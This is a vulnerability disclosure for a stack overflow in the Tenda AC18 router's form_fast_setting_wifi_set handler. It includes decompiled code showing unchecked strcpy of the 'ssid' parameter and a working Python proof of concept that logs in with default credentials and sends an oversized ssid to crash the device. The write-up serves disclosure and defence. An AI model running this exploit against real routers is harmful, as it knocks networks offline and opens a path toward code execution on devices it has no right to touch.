Tenda AC18 stack overflow vulnerability

* Version

V15.03.05.19_multi ac18_kf_V15.03.05.19(6318_)_cn.bin)

* Firmware

https://www.tenda.com.cn/download/detail-2683.html

* Vulnerability Detail

In function form_fast_setting_wifi_set, the content obtained by the program from the parameter "ssid" is passed to local_20, and then the local_20 is directly copied into the acStack128 and acStack196 stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
undefined4 form_fast_setting_wifi_set(int param_1)

{
  undefined4 uVar1;
  size_t sVar2;
  int iVar3;
```

```
undefined4 local_268;
undefined4 local_264;
undefined4 local_260;
undefined4 local_25c;
char acStack600 [4];
char acStack596 [4];
char acStack256 [64];
char acStack192 [64];
char acStack128 [64];
undefined local_40 [12];
undefined4 local_34;
char *local_30;
char *local_2c;
char *local_28;
char *local_24;
char *local_20;
int local_1c;
int local_18;
undefined4 local_14;
...
local_34 = 0;
memset(acStack128,0,0x40);
memset(acStack192,0,0x40);
memset(acStack256,0,0x40);
local_14 = 1;
...
local_20 = (char *)FUN_0002ba8c(param_1,"ssid",&DAT_000e378c);
if (*local_20 == '\0') {
  printf("%s [%d] no ssid set, just return.\n","form_fast_setting_wifi_set",0x444)
  uVar1 = FUN_0002be4c(param_1,"login.html");
}
else {
  strcpy(acStack128,local_20);  // here is overflow
  strcpy(acStack192,local_20);  // here is overflow
  local_24 = (char *)FUN_0002ba8c(param_1,"wrlPassword",&DAT_000e378c);
  SetValue("wl2g.ssid0.ssid",acStack128);
  sVar2 = strlen(acStack192);
  memcpy(acStack192 + sVar2,&DAT_000e38b8,4);
  SetValue("wl5g.ssid0.ssid",acStack192);
  SetValue("wl2g_bss_ssid_old",acStack128);
  SetValue("wl5g_bss_ssid_old",acStack192);
  if (*local_24 == '\0') {
    SetValue("wl2g.ssid0.security",&DAT_000e3908);
    SetValue("wl5g.ssid0.security",&DAT_000e3908);
  }
  else {
    SetValue("wl2g.ssid0.security","wpapsk");
    SetValue("wl5g.ssid0.security","wpapsk");
    SetValue("wl2g.ssid0.wpapsk_psk",local_24);
```

```
        SetValue("wl5g.ssid0.wpapsk_psk",local_24);
    }
    SetValue("ali.reset.cfg",&DAT_000e34e4);
    memset(local_40,0,9);
    local_40[0] = 2;
    tpi_talk_to_kernel(9,local_40,&local_34,0,0,0);
    SetValue("fast.seting.red",&DAT_000e34e4);
    ...
}
```

* POC

```
import requests


cmd  = b'ssid=' + b'A' * 800


url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/fast_setting_wifi_set/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```